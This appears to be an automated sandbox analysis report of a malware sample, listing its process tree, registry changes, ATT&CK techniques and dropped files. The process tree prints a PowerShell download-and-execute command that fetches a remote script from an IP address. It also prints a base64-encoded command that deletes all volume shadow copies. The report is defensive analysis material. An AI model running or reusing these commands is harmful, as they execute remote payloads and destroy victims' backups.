Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\16c5855700e70589f21792245af61fb6.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/16c5855700e70589f21792245af61fb6');Invoke-IGISEXRYSOUZFK;Start-Sleep -s 10000"
2⤵
- Drops file in System32 directory
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:644

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1772

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads